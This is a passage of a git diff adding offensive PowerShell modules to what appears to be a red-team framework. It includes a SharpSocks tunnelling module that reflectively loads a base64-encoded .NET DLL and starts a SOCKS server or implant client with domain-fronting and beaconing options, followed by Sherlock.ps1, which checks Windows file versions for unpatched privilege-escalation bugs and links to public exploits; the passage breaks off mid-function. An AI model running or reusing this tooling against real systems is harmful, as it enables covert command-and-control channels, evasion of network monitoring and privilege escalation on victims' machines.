sACAARQByAHIAbwByADoARFMAUwBMACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIABhAGQAZABlAGQAZE8AbgBlACAAbwByACAAbQBvAHIAZQAgAGUAcwBzAGUAbgB0AGkAYQBsACAAcABhAHIAYQBtAGUAdABlAHIAcwAgAHcAZQByAGUAIABuAG8AdAAgAGUAbgB0AGUAcgBlAGQALgBUVABoAGUAIABzAHkAcwB0AGUAbQAgAGMAYQBuAG4AbwB0ACAAZgBpAG4AZAAgAHQAaABlACAAZgBpAGwAZQAgAHMAcABlAGMAaQBmAGkAZQBkAC4ANlQAaABlACAAcABhAHIAYQBtAGUAdABlAHIAIABpAHMAIABpAG4AYwBvAHIAcgBlAGMAdAAuAAFaAVsBAAQFAAAAAgYIAgYHAwYSMAMGElQDBhJJAgYcBwYVEU0BEVECBgIDBhJVCAYVElkCDhIIAgYFAwYSeAIGBgMGEXwDBhEgBAYSgIUEBhKAjQMGEhwDBhI4BAYSgKkEBhGArQgGFRJZAg4SWAgGFRJZAg4SGAkGFRKAsQESgLUQBhUSWQIOFRKAsQEVEl0BBQQGEoDBBAYSgMkGBhUSXQEFBAYSgOUEBhKA6QMGEmgJBhUSWQIHEoD1AwYSbAMGEmAEBhKAkQMGHQUDBhJhAwYSdAgGFRJ5Ag4SWAQGEoClBAYSgIQKBhUSeQISWBKA+QMGEkQEBhKA9QcGFRJZAg4OBAAAEjAFAAEBEjAEAAASVAUAAQESVAgAABUSXQESWAkAAgIOFRJdAQUFAAIBDg4GIAIBElUCBSABARJhBSABARJpCCABARUSXQEFCCABFRJdAQUFCCABBRUSXQEFAwAAAQUgAgEOBwMgAAcEIAEBBwQgABEgBSABAREgBSAAEoCFBiABARKAhQYgAQESgIkEIAASMAUgAQESMAcgAgESHBIwCyABARUSWQIOEoCRBCAAEjgFIAEBEjgFIAASgKkGIAEBEoCpCCAEARI4Dg4IBCAAElgMIAEVEl0BBRUSXQEFBSAAEoC1BiACAQ4SGAUgAg4OBwkgAgIOFRJdAQUGIAECEoC1CSAAFRJdARKAtQYgAQESgLUGAAESgMUOByACAg4RgL0IIAEOFRJdAQUIIAEVEl0BBQ4GIAEBEoClBQAAEoDlBQAAEoDpBgABARKA6QQAAB0FCSAAFRJdARKA+QogBAIOBxJoEoCpBSACAg4HByACAg4SgJEGIAECEoCRDCADAg4OEBUSWQIODgcgAg4OEoClBSACAg4OCSAEAg4ODhKApQYgAwIODg4QAAkSRA4OEoCRDgcODg4SMAkgAhJ9DhARgQkFIAESWA4HIAESgPkSWAQIABIwBAgAElQICAAVEl0BElgDKAAOAygABwQoABEgBSgAEoCFBCgAEjAEKAASOAUoABKAqQQoABJYAygAAgUIABKA5QUIABKA6QQIAB0FCSgAFRJdARKA+QMoAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAAGQEAFFR1bm5lbGluZ1NvY2tzU2VydmVyAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE3AAApAQAkMmY0Mzk5MmUtNTcwMy00NDIwLWFkMGItMTdjYjdkODljOTU2AAAMAQAHMS4wLjAuMAAATQEAHC5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41LjIBAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lFC5ORVQgRnJhbWV3b3JrIDQuNS4yQQEAM1N5c3RlbS5SZXNvdXJjZXMuVG9vbHMuU3Ryb25nbHlUeXBlZFJlc291cmNlQnVpbGRlcggxNS4wLjAuMAAAANgKAADOyu++AQAAAJEAAABsU3lzdGVtLlJlc291cmNlcy5SZXNvdXJjZVJlYWRlciwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5I1N5c3RlbS5SZXNvdXJjZXMuUnVudGltZVJlc291cmNlU2V0AgAAAAEAAAAAAAAAUEFEUEFEUAZjqfYAAAAA2wAAABpoAG8AcwB0ADIAYwBlAHIAdABfAHAAZgB4AAAAAAAg+AkAAGWVeThUfRvHz4xpGIwlu9SMIltyrGPPvpMMkrIviZCdkW1IRdIYEcKEkIcIU3nREDHImiUxyFZJPbIP4p26nud93vd6r3Pd9+97Pt/r/p7zzzk3iGdVg0KYQDxiA46QTjZJ3kJCmCEkPGIRhkfMMvAUiIdz/o8FB2D4Q3sg/tA2o9bhbH9Z7KwQKAkP2wfxsB1QBM76N2aEc8BY+hy0rmgO7lKgUOYBGB72/hzNRSr6WLTRxG07NX+te1c9jymMPDbt9aoLeLYUaWmny/Gj1ka9+KLhRTG9UxcmDf35ng3FujxklRZZSUYi4vVhybq7bnd1bXP4sN/3RmjKCdElclylNwdP2SLczxSVaxoEPVC8UngdZUs2/PhzvO19diCRVc7gtVzbVtTTzF5UnbKijMmbjByWEItGBaNzs9w5Yo3GCx+aaG/TRhY5bvKi/f0fUFhqmG6LzcyNuFS7P1a9nJOm/J44a2SRJHUqADiL5z5ZkKo7+DiK1Sv9AO+B4JZEpzvauXYKCYo9fvCw3E34Lhl02FqqWDQyKexuma3D9UTnRhIkIw7E00j85sFqnRwLV49/TkJor+bjmeoXq7kH2T+RXdP4YfbOzZpsi5hGR4czzI1KyI+ChEtR3EL1zHaClEdJifazltxL+UVmKJ8QZLKHiYXw6DHcxXHOsBF8a16afzRM/EKkv/ONJBWzsuBBZGQ4P2b0zxki2r4jd/F0hdJKqeFGVTibFKsoLbJMbxVCp8PCy7+0YDU9m8WyllQgfn2B/eLqAVHL7QSMA5QUx+92P2vMeVVDzsmdfx0yp090eSK43B+0NtPZ6NriwX70M51QlPfp5JUx4xrx+RAuuYCCfREuHZMvKmHaJuhlzrNsJRXYoL2kdE8hYDrmHur56C2R9yZIG/3IWnfRbXfDZC5O3ZuAS8MHrahZQmA2FNe8p9Gq4CDvOrgt1HYfpc/0DR+caWEwreY12Xsg/qNXqUTU4ovZ/CRpPymu0MTZNmXGbVLSj0l16eAZFy97RZE9D1v+xqTO8ntkwt0Yq732b9LeQqkTXM1STtg6IN2U44V1yjEVcycrqo5G9RZnlvhj7ksGlFf6iFop2YhaUyq6QOIh+Jn2wiZkJwrErrbn7WrRiOlFEfsk3IRBuFkPFmU2boyUiZC5pd2ec6Jn74ws39FR7E43VaHCieA+qn62u888oZFjQzbBLHvnUbWNTtXyN91tKeXKBak5CS3HcR7+pVQnGdv7qV0koxDLrJkxq9aZOB6tP3D5FwEUf7x7bg6BM8x8wWHdTXqzr8Z8WbzJ5+oA6V9tH20vfxJNxEhRt3LQcJZvVotHQq5FhAgpD6CfrBBza7IL2rExbfphmH6FqNu4pYY49b7goh0ftLz5lFIXdGUoc+qacV0NznINU8CO9fDe4ce0Dx8KXKEeDlMdzTV56L9navfB+pCZXuiH4JeDpx8Mq+A3Bx/dOew2jHlHme9gKZ7Q5fuhbxpjFbRuZfUmfnis6w89nAiy+cSCwM9YR55gSQ6Dg8KqAsrACWdXRFeRe9N5+zj3WUFV2P3ooCK+/txiYx/mW/WRLUnqGPrqqGPrS6PMJs4377v1KrL1EHu6S4uF3inUr0872YNlAl7sm3cc71ScMqzE9NT1UN+6EfdEoTFQWUVoBlDjupODHCE1DZitbRbD66rUoNtgyL6aqa/2aOaH+VKNXuaK6jiUQUnxmbKM4Q+c11WZR4YDn1hWCXaiAc5rMqFf4xItPILZ5obvYI/YXunF9apTyn7UO2INNnOOvxQmN5P/9N39E4TV3gbz4kGmkU5yT2DfTXEtBdkKoXNlKuzdCdzlhD4ozOLca/6lpqf9FVqJPVdDx5+f6/BoPG8ISe8uP36RyKyk9yJGPmEWRMIRMnAIDILHcEPlAZDnP39PBJ88HAaDAAAAOv0DeeWtj1kBoYAXIAsoAKqMcgfUAAzjUmUQD0CZQVQYSglQZHB5hvrVlX4rb0b3ZvggY0aJobwYyg1Q+xX/9ytAfsdbAlcYUcFAIBDCKG/G49AA9i8VwRgJZoyiAXNGj/rthDK8YAa//Jtb/54MZ2R4Mu6DQTxT5z8rAU7CM71koHooBGAcVf+1LP5/D6BVqqfq6dzgrz0Qj2eKp8RTZaZlNahe5dWZ+y3h+m0bMRIlqDKsjxVB0ihv6ExLmcEd7MsU6YG+2kOI4mcmOHLzM7G4KuCdl19prAM+4DRIIwYkZR/TYj3AfNqe39AR/W7cD9po4kx+Oi1sGEyoyqaWJxc2kLkgldM0nXpS6WNtkcvYtYuqNDvmyFUIa21geb3jG1tXxaAlgM5jKCZ5NkRLMpl+TeFVrKbvYkNN1T0ei6wf40IfFWk4m1Pt+kWQemDhHW7dn1eezhVE3lQgT2M/dXxZ/OZLlPZT7v3GlmTLlhLef38jW3hNbrViG0XbVPFtSMy3iRqh7KpFDBdMcbB+HFpZmzxcfYazNO11fJJXRcQqpTxKIKLoQdrhEc1o2pOtCWYW21it1rvSi2Nvo2l6NtM/Zf/YnmnOEL+TKlA/FMOcWB5VSXy3321wvvDCeuhzNGSNtmITIrEl993lMk3OxE2d68v2gZkTXH1B16AAr62knD0nCi6Z1e+BM5nIOHyY/oqhulA1ifUkmdWlgxgk1lgUQV/dJSlSgY4b6I6yviWE7Q8xgfaoHgG7TrFNL/6mpufxzgRn4scDPkE3noY6zWJhuBKcesMb7IRZC7yzLk8GidU9uwarwBieGpxRTPGqsyhBScdWnrCqElYJsybxnS+w/F5r+DVL0wulbPlqLkJUeNXYD4mjZ7b6r85jlvvXi9Twbd2U47tHwL2UqVGOAdSaTOoEE74/t8ac3mE5MUdohLH3nEjg5SAf9tZX8GXT9a80ktc1um8DCvTmJJF27xUE+QgaqkgYFCqutRkqZaJ60gRFXA96HEPbx2+QzfR2NprWuriboV1GWTtHua5bH4vj5CX6XFNCKQNlw7TGdpSSsf8cvW94oFvyTSpB4cpD+XC/5KJwZzOw/mQeIfNGWxhax24sMP3o4Zyg182Xty8NsksV3JGA8veIPCvxzIHlIkMlLc96ipWcDU8fSjnyOjFubJLLIW2wwVG4TIMwm378hH0LIuNgwtSaO8ohbZmn6ZSA+N0vi6exTVxT9soDtWxKd1QpIdzFb8hDo56wsPALR1/1vn2g9rQ474kik8xU1Y3PcsM0YYTENTj2Vjp9Sq2wrreg3fuR6TQc0rrzleLZ7eF3W/1Fbo2nlTTKbriSTi6t0ZZ9WlOxgvoeSyWHqEk9Sr4w5ThxXVLFsITvrWo5Vfu2S481yySoAaJAZvghGQ4mqDCMt+muy0iJUH7zLQ96re8pMP+Ie0YjjHe+67TExslLz1V1KxTEFPy8Pm19p/36gP8NAAAAAMjbAAAAAAAAAAAAAOLbAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADU2wAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFjgAABsAwAAAAAAAAAAAABsAzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEzAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAqAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBlAG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAAFIAFQABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABUAHUAbgBuAGUAbABpAG4AZwBTAG8AYwBrAHMAUwBlAHIAdgBlAHIAAAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAAEoAFQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAUwBoAGEAcgBwAFMAbwBjAGsAcwBTAGUAcgB2AGUAcgAuAGQAbABsAAAAAABIABIAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAgADIAMAAxADcAAAAqAAEAAQBMAGUAZwBhAGwAVAByAGEAZABlAG0AYQByAGsAcwAAAAAAAAAAAFIAFQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABTAGgAYQByAHAAUwBvAGMAawBzAFMAZQByAHYAZQByAC4AZABsAGwAAAAAAEoAFQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAVAB1AG4AbgBlAGwAaQBuAGcAUwBvAGMAawBzAFMAZQByAHYAZQByAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAADAAAAPQ7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + + $DllBytes = [System.Convert]::FromBase64String($PS) + $Assembly = [System.Reflection.Assembly]::Load($DllBytes) + echo "[+] Server Server Loaded" + } + + if($Insecure.IsPresent) { + $InsecureSSL=$true + } else { + $InsecureSSL=$false + } + + if (!$Key) { + $Key = Create-AesKey + } + + $secureStringPwd = $Key | ConvertTo-SecureString -AsPlainText -Force + + #If there is no channel set + if (!$Channel) { + $Channel = Get-RandomChamnnel -Length 25 + } + + # Proxy Config + if ($ProxyURL) { + $Proxy = New-Object System.Net.WebProxy($ProxyURL,$True); + + if ($ProxyUser -and $ProxyPassword) { + $creds = new-object System.Net.NetworkCredential + $creds.UserName = $ProxyUser + $creds.Domain = $ProxyDomain + $creds.SecurePassword = ConvertTo-SecureString $ProxyPassword -AsPlainText -Force; + $Proxy.Credentials = $Creds; + } else { + $Proxy.UseDefaultCredentials = $True; + } + } else { + $Proxy = [System.Net.WebRequest]::GetSystemWebProxy() + $Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials + } + + # New Uri + $Uri = [System.Uri]$Uri + + # Add URLs + $NewURLs = New-Object "System.Collections.Generic.List[String]" + foreach ($URL in $URLs) { + $NewURLs.Add($URL) + } + + if ($Server.IsPresent){ + $Script:iLogOutput = New-Object SharpSocksServer.ServerComms.DebugConsoleOutput + $Script:BoolStart = [SharpSocksServer.Source.Integration.PSSocksServer]::CreateSocksController($IPAddress, $uri, $TLSServerCertificate, $Channel, $SocksPort, $key, $Cookie1, $Cookie2, $iLogOutput); + if ($BoolStart) { + echo "" + echo "[+] SharpSocks server started!" + echo "" + echo "-Channel $Channel" + echo "-Key $Key" + echo "Cookies: $Cookie1 $Cookie2" + echo "" + echo "" + echo "[-] Run StopSocks to stop the server!" + echo "" + } + } + + if ($Client.IsPresent){ + $Script:Comms = New-Object SocksProxy.Classes.Integration.PoshDefaultImplantComms + $Script:Socks = [SocksProxy.Classes.Integration.PoshCreateProxy]::CreateSocksController($Uri, $Channel, $DomainFrontURL, $UserAgent, $secureStringPwd, $NewURLs, $Cookie1, $Cookie2, $Proxy, $Beacon, $Comms, $InsecureSSL); + $Script:BoolStart = $Socks.Start() + if ($BoolStart) { + echo "" + echo "[+] SharpSocks client Started!" + echo "" + echo "URLs:" + foreach ($URL in $URLs) { + echo "$($Uri)$($URL)" + } + echo "Channel: $Channel" + echo "Key being used: $Key" + echo "Beacon: $Beacon" + echo "Cookies: $Cookie1 $Cookie2" + echo "User-Agent: $UserAgent" + echo "" + echo "" + echo "[-] Run StopSocks to stop the client!" + echo "" + } + } +} + +} + +function StopSocks { + if ($BoolStart) { + $Script:BoolStart = $Socks.Stop() + $Script:BoolStart = $Socks.HARDStop() + echo "" + echo "[-] SharpSocks stopped!" + echo "" + } else { + echo "" + echo "[-] SharpSocks not running!" + echo "" + } +} + +# creates a randon AES symetric encryption key +function Create-AesManagedObject +{ + param + ( + [Object] + $key, + [Object] + $IV + ) + + $aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged' + $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC + $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + $aesManaged.BlockSize = 128 + $aesManaged.KeySize = 256 + if ($IV) + { + if ($IV.getType().Name -eq 'String') + {$aesManaged.IV = [System.Convert]::FromBase64String($IV)} + else + {$aesManaged.IV = $IV} + } + if ($key) + { + if ($key.getType().Name -eq 'String') + {$aesManaged.Key = [System.Convert]::FromBase64String($key)} + else + {$aesManaged.Key = $key} + } + $aesManaged +} + +# creates a randon AES symetric encryption key +function Create-AesKey() +{ + $aesManaged = Create-AesManagedObject + $aesManaged.GenerateKey() + [System.Convert]::ToBase64String($aesManaged.Key) +} + +function Get-RandomChamnnel +{ + param ([int]$Length) + $set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray() + $result = '' + for ($x = 0; $x -lt $Length; $x++) + { + $result += $set | Get-Random + } + return $result +} \ No newline at end of file diff --git a/Modules/Sherlock.ps1 b/Modules/Sherlock.ps1 new file mode 100644 index 0000000..c057441 --- /dev/null +++ b/Modules/Sherlock.ps1 @@ -0,0 +1,509 @@ +<# + + File: Sherlock.ps1 + Author: @_RastaMouse + License: GNU General Public License v3.0 + +#> + +$Global:ExploitTable = $null + +function Get-FileVersionInfo ($FilePath) { + + $VersionInfo = (Get-Item $FilePath).VersionInfo + $FileVersion = ( "{0}.{1}.{2}.{3}" -f $VersionInfo.FileMajorPart, $VersionInfo.FileMinorPart, $VersionInfo.FileBuildPart, $VersionInfo.FilePrivatePart ) + + return $FileVersion + +} + +function Get-InstalledSoftware($SoftwareName) { + + $SoftwareVersion = Get-WmiObject -Class Win32_Product | Where { $_.Name -eq $SoftwareName } | Select-Object Version + $SoftwareVersion = $SoftwareVersion.Version # I have no idea what I'm doing + + return $SoftwareVersion + +} + +function Get-Architecture { + + # This is the CPU architecture. Returns "64-bit" or "32-bit". + $CPUArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture + + # This is the process architecture, e.g. are we an x86 process running on a 64-bit system. Retuns "AMD64" or "x86". + $ProcessArchitecture = $env:PROCESSOR_ARCHITECTURE + + return $CPUArchitecture, $ProcessArchitecture + +} + +function Get-CPUCoreCount { + + $CoreCount = (Get-WmiObject Win32_Processor).NumberOfLogicalProcessors + + return $CoreCount + +} + +function New-ExploitTable { + + # Create the table + $Global:ExploitTable = New-Object System.Data.DataTable + + # Create the columns + $Global:ExploitTable.Columns.Add("Title") + $Global:ExploitTable.Columns.Add("MSBulletin") + $Global:ExploitTable.Columns.Add("CVEID") + $Global:ExploitTable.Columns.Add("Link") + $Global:ExploitTable.Columns.Add("VulnStatus") + + # Add the exploits we are interested in. + + # MS10 + $Global:ExploitTable.Rows.Add("User Mode to Ring (KiTrap0D)","MS10-015","2010-0232","https://www.exploit-db.com/exploits/11199/") + $Global:ExploitTable.Rows.Add("Task Scheduler .XML","MS10-092","2010-3338, 2010-3888","https://www.exploit-db.com/exploits/19930/") + # MS13 + $Global:ExploitTable.Rows.Add("NTUserMessageCall Win32k Kernel Pool Overflow","MS13-053","2013-1300","https://www.exploit-db.com/exploits/33213/") + $Global:ExploitTable.Rows.Add("TrackPopupMenuEx Win32k NULL Page","MS13-081","2013-3881","https://www.exploit-db.com/exploits/31576/") + # MS14 + $Global:ExploitTable.Rows.Add("TrackPopupMenu Win32k Null Pointer Dereference","MS14-058","2014-4113","https://www.exploit-db.com/exploits/35101/") + # MS15 + $Global:ExploitTable.Rows.Add("ClientCopyImage Win32k","MS15-051","2015-1701, 2015-2433","https://www.exploit-db.com/exploits/37367/") + $Global:ExploitTable.Rows.Add("Font Driver Buffer Overflow","MS15-078","2015-2426, 2015-2433","https://www.exploit-db.com/exploits/38222/") + # MS16 + $Global:ExploitTable.Rows.Add("'mrxdav.sys' WebDAV","MS16-016","2016-0051","https://www.exploit-db.com/exploits/40085/") + $Global:ExploitTable.Rows.Add("Secondary Logon Handle","MS16-032","2016-0099","https://www.exploit-db.com/exploits/39719/") + $Global:ExploitTable.Rows.Add("Win32k Elevation of Privilege","MS16-135","2016-7255","https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135") + # Miscs that aren't MS + $Global:ExploitTable.Rows.Add("Nessus Agent 6.6.2 - 6.10.3","N/A","2017-7199","https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html") + +} + +function Set-ExploitTable ($MSBulletin, $VulnStatus) { + + if ( $MSBulletin -like "MS*" ) { + + $Global:ExploitTable | Where { $_.MSBulletin -eq $MSBulletin + + } | ForEach-Object { + + $_.VulnStatus = $VulnStatus + + } + + } else { + + + $Global:ExploitTable | Where { $_.CVEID -eq $MSBulletin + + } | ForEach-Object { + + $_.VulnStatus = $VulnStatus + + } + + } + +} + +function Get-Results { + + $Global:ExploitTable + +} + +function Find-AllVulns { + + if ( !$Global:ExploitTable ) { + + $null = New-ExploitTable + + } + + Find-MS10015 + Find-MS10092 + Find-MS13053 + Find-MS13081 + Find-MS14058 + Find-MS15051 + Find-MS15078 + Find-MS16016 + Find-MS16032 + Find-MS16135 + Find-CVE20177199 + + Get-Results + +} + +function Find-MS10015 { + + $MSBulletin = "MS10-015" + $Architecture = Get-Architecture + + if ( $Architecture[0] -eq "64-bit" ) { + + $VulnStatus = "Not supported on 64-bit systems" + + } Else { + + $Path = $env:windir + "\system32\ntoskrnl.exe" + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(".") + + $Build = $VersionInfo[2] + $Revision = $VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20591" ] } + default { $VulnStatus = "Not Vulnerable" } + + } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-MS10092 { + + $MSBulletin = "MS10-092" + $Architecture = Get-Architecture + + if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { + + $Path = $env:windir + "\system32\schedsvc.dll" + + } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { + + $Path = $env:windir + "\sysnative\schedsvc.dll" + + } + + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(".") + + $Build = $VersionInfo[2] + $Revision = $VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20830" ] } + default { $VulnStatus = "Not Vulnerable" } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-MS13053 { + + $MSBulletin = "MS13-053" + $Architecture = Get-Architecture + + if ( $Architecture[0] -eq "64-bit" ) { + + $VulnStatus = "Not supported on 64-bit systems" + + } Else { + + $Path = $env:windir + "\system32\win32k.sys" + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(".") + + $Build = $VersionInfo[2] + $Revision = $VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "17000" ] } + 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22348" ] } + 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20732" ] } + default { $VulnStatus = "Not Vulnerable" } + + } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-MS13081 { + + $MSBulletin = "MS13-081" + $Architecture = Get-Architecture + + if ( $Architecture[0] -eq "64-bit" ) { + + $VulnStatus = "Not supported on 64-bit systems" + + } Else { + + $Path = $env:windir + "\system32\win32k.sys" + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(".") + + $Build = $VersionInfo[2] + $Revision = $VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "18000" ] } + 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22435" ] } + 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20807" ] } + default { $VulnStatus = "Not Vulnerable" } + + } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-MS14058 { + + $MSBulletin = "MS14-058" + $Architecture = Get-Architecture + + if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { + + $Path = $env:windir + "\system32\win32k.sys" + + } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { + + $Path = $env:windir + "\sysnative\win32k.sys" + + } + + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(".") + + $Build = $VersionInfo[2] + $Revision = $VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "18000" ] } + 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22823" ] } + 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21247" ] } + 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "17353" ] } + default { $VulnStatus = "Not Vulnerable" } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-MS15051 { + + $MSBulletin = "MS15-051" + $Architecture = Get-Architecture + + if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { + + $Path = $env:windir + "\system32\win32k.sys" + + } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { + + $Path = $env:windir + "\sysnative\win32k.sys" + + } + + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(".") + + $Build = $VersionInfo[2] + $Revision = $VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "18000" ] } + 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22823" ] } + 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21247" ] } + 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "17353" ] } + default { $VulnStatus = "Not Vulnerable" } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-MS15078 { + + $MSBulletin = "MS15-078" + + $Path = $env:windir + "\system32\atmfd.dll" + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(" ") + + $Revision = $VersionInfo[2] + + switch ( $Revision ) { + + 243 { $VulnStatus = "Appears Vulnerable" } + default { $VulnStatus = "Not Vulnerable" } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-MS16016 { + + $MSBulletin = "MS16-016" + $Architecture = Get-Architecture + + if ( $Architecture[0] -eq "64-bit" ) { + + $VulnStatus = "Not supported on 64-bit systems" + + } Else { + + $Path = $env:windir + "\system32\drivers\mrxdav.sys" + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(".") + + $Build = $VersionInfo[2] + $Revision = $VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "16000" ] } + 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "23317" ] } + 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21738" ] } + 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "18189" ] } + 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "16683" ] } + 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "103" ] } + default { 